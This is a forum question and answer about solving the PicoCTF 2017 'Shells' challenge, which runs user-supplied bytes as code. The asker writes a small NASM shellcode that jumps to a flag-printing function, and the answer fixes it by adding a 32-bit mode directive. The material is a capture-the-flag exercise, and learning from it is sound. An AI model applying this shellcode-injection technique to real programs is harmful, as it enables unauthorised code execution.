-1

PicoCTF 2017 Shells I have a binary and source:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>

#define AMOUNT_OF_STUFF 10

//TODO: Ask IT why this is here
void win(){
    system("/bin/cat ./flag.txt");    
}


void vuln(){
    char * stuff = (char *)mmap(NULL, AMOUNT_OF_STUFF, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
    if(stuff == MAP_FAILED){
        printf("Failed to get space. Please talk to admin\n");
        exit(0);
    }
    printf("Give me %d bytes:\n", AMOUNT_OF_STUFF);
    fflush(stdout);
    int len = read(STDIN_FILENO, stuff, AMOUNT_OF_STUFF);
    if(len == 0){
        printf("You didn't give me anything :(");
        exit(0);
    }

    void (*func)() = (void (*)())stuff;
    func();      
}

int main(int argc, char*argv[]){
    printf("My mother told me to never accept things from strangers\n");
    printf("How bad could running a couple bytes be though?\n");
    fflush(stdout);
    vuln();
    return 0;
}

The goal is to call win() function.

So: gdb ./shells I have address of win function: 0x08048540 then i create shellcode:

section .text
    global _start
_start:
    mov eax,0x08048540
    jmp eax

section .data

after compile an use sehllcode i have the flag. But when i compile source code instead of using given binary:

gcc -m32 -fno-stack-protector -z execstack shells.c -o shells2

This not works anymore, segfault all the time. Why with binary file my method works and with compiled source manually not working? PS. Flag is in the right place.

4
  • address of win changes after you recompile? Commented Nov 26, 2017 at 14:29
  • Yes address changes, after i recompile it is 0x0000065d but if i use this address i have segfault.
    – duch4ever
    Commented Nov 27, 2017 at 15:12
  • well 0x0000065d can ba only a part of the address. The full one would be 0x804865d I guess Commented Nov 27, 2017 at 20:38
  • but why gdb or objdump shows in orignal binary address 0x08048540 but in binary compiled by me 0x0000065d and first works and second not?
    – duch4ever
    Commented Nov 27, 2017 at 21:19

1 Answer 1

2

I think your shellcode is missing the specifier for the bit-ness of the shellcode. You're compiling the shells in 32 bits, but for the nasm (I'm assuming you're using that) doesn't have anything. I'm assuming you're compiling in bin mode and if you check the documentation

...the bin output format defaults to 16-bit mode in anticipation of it being used most frequently to write DOS .COM programs, DOS .SYS device drivers and boot loader software.

So what you need to do is:

[BITS 32]
section .text
    global _start
_start:
    mov eax,0x08048540 ; need to put correct address here of course
    jmp eax

section .data

..compile & voilà

enter image description here

0

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.